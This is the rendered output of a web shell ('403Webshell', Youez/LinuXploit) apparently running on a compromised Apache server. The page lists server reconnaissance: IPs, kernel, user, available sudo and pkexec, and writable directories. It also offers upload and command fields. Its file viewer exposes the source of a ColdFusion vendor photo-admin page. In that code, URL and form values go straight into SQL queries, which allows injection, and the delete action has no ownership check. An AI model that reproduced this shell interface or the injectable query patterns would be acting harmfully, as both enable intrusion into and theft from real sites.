403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/public_html/stealsadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/public_html/stealsadmin/addeditvenuephotos.cfm
<cfinclude template="header.cfm">
          <cfquery name="checksecurity" dataSource="#ds#">
	select type,vendorid,name from steals.stealsvendorpeople
where peopleid = #session.id#
</cfquery>
          <cfquery name="checkvendor" dataSource="#ds#">
	select vendorname from steals.stealsvendor
where vendorid = #checksecurity.vendorid#
</cfquery>

<Cfif #checksecurity.recordcount# eq 1>

<cfif parameterexists(url.delete)>
	<Cfquery name="del" dataSource="#ds#">
		delete from steals.stealsvendorpics
		where photoid = #url.delete#
	</cfquery>

</cfif>
<cfif parameterexists(url.editsave)>
		<cfparam name="form.address2" default="">




	<cfif parameterexists(form.image) and #form.image# is not ''>
<cfset robpic = #createUUID()#>

<cfset ds='cityguide'>
	<cfset imagepath="/home/home2/cgny/public_html/stealsimages">

<Cftry>

<cffile action="upload"
	        nameconflict="makeunique"
filefield="image"
accept="image/jpeg,image/pjpeg,image/png,image/gif"
 destination="#imagepath#/#robpic#.jpg"
 mode="644">
 <cfcatch>
<Div style="margin-left:50px;">

<cfoutput>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error, you must upload a valid jpg, png or gif. </cfoutput>
<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<A HREF="javascript:history.back()">Go back</A><br><br>
</Div>
          </div>
        </div>
      </div>
<cfinclude template="footer.cfm">

<Cfabort>

</cfcatch>

</Cftry>


<cfset #file.serverfile# = '#robpic#.jpg'>
	<cfset photo = "#File.ServerFile#">

	<cfquery name=addphoto datasource="#ds#">
		INSERT INTO steals.stealsvendorpics(vendorid,photo,caption)
	VALUES(#url.vendorid#,'#photo#','#form.caption#')
		</cfquery>

</cfif>


</cfif>

  <!-- Left navbar-header end -->
  <!-- Page Content -->
  <div id="page-wrapper">
    <div class="container-fluid">
      <div class="row bg-title">
        <div class="col-lg-3 col-md-4 col-sm-4 col-xs-12" style="width: 90%;">
          <h4 class="page-title">Edit Offer Photos for <cfoutput><u>#checkvendor.vendorname#</u></cfoutput></h4>
  User: <Cfoutput>#checksecurity.name#</Cfoutput>
<br><br>
At the top of your offer information page, we present a photo gallery. Use the form below to upload as many images and captions as you'd like. Images must be in .jpg format, and we recommend that they be no larger than 72 DPI and 1000 pixels wide or high. Horizontal images will look best.


        </div>
      <div class="row">
        <div class="col-md-12">
          <div class="white-box">




      <div class="form-group ">
          <div class="col-xs-12">


<form class="form-horizontal" id="loginform" action="addeditvenuephotos.cfm?editsave=on&vendorid=<cfoutput>#checksecurity.vendorid#</cfoutput>" method="post" enctype="multipart/form-data">



	         <Textarea name="caption" placeholder="Caption"  style="height:100px;width: 100%"></Textarea>
<br><Br>

<p>
Upload New Photo: <input type=file name=image class="form-control">
</p></B>

          </div>
        </div>


        <div class="form-group text-center m-t-20">
          <div class="col-xs-12">
            <button class="btn btn-info btn-lg btn-block text-uppercase waves-effect waves-light" type="submit">Upload Photo</button>
          </div>
        </div>

</form>
          </div>
        </div>



	          </div>

<p><b><br>
	Manage Photos</b><br>
	<Cfquery name="getpics" dataSource="#ds#">
		select * from steals.stealsvendorpics where vendorid = #checksecurity.vendorid# </cfquery>
<cfoutput>

            <div class="table-responsive">
                <table id="example234" class="display nowrap" cellspacing="0" width="100%">
<cfloop from="1" to="#getpics.recordcount#" index="i">
	<Tr><td>
<a href="http://www.cityguideny.com/stealsimages/#getpics.photo[i]#"><img src="http://www.cityguideny.com/stealsimages/#getpics.photo[i]#" style="max-width: 200px;"></a>
</td>
<Td>#getpics.caption[i]#</Td>
<td>
	<A href="addeditvenuephotos.cfm?delete=#getpics.photoid[i]#" onclick="return confirm('Are you sure you want to delete this photo?');">Delete</A>
</td>
</cfloop>
</Tr></table>
		</cfoutput>
</div>



        </div>
      </div>
<cfinclude template="footer.cfm">
<Cfabort>



<cfelse>

Error, you must be the primary user to add/edit sub-users of this account.
</Cfif>

          </div>
        </div>
      </div>
<cfinclude template="footer.cfm">

Youez - 2016 - github.com/yon3zu
LinuXploit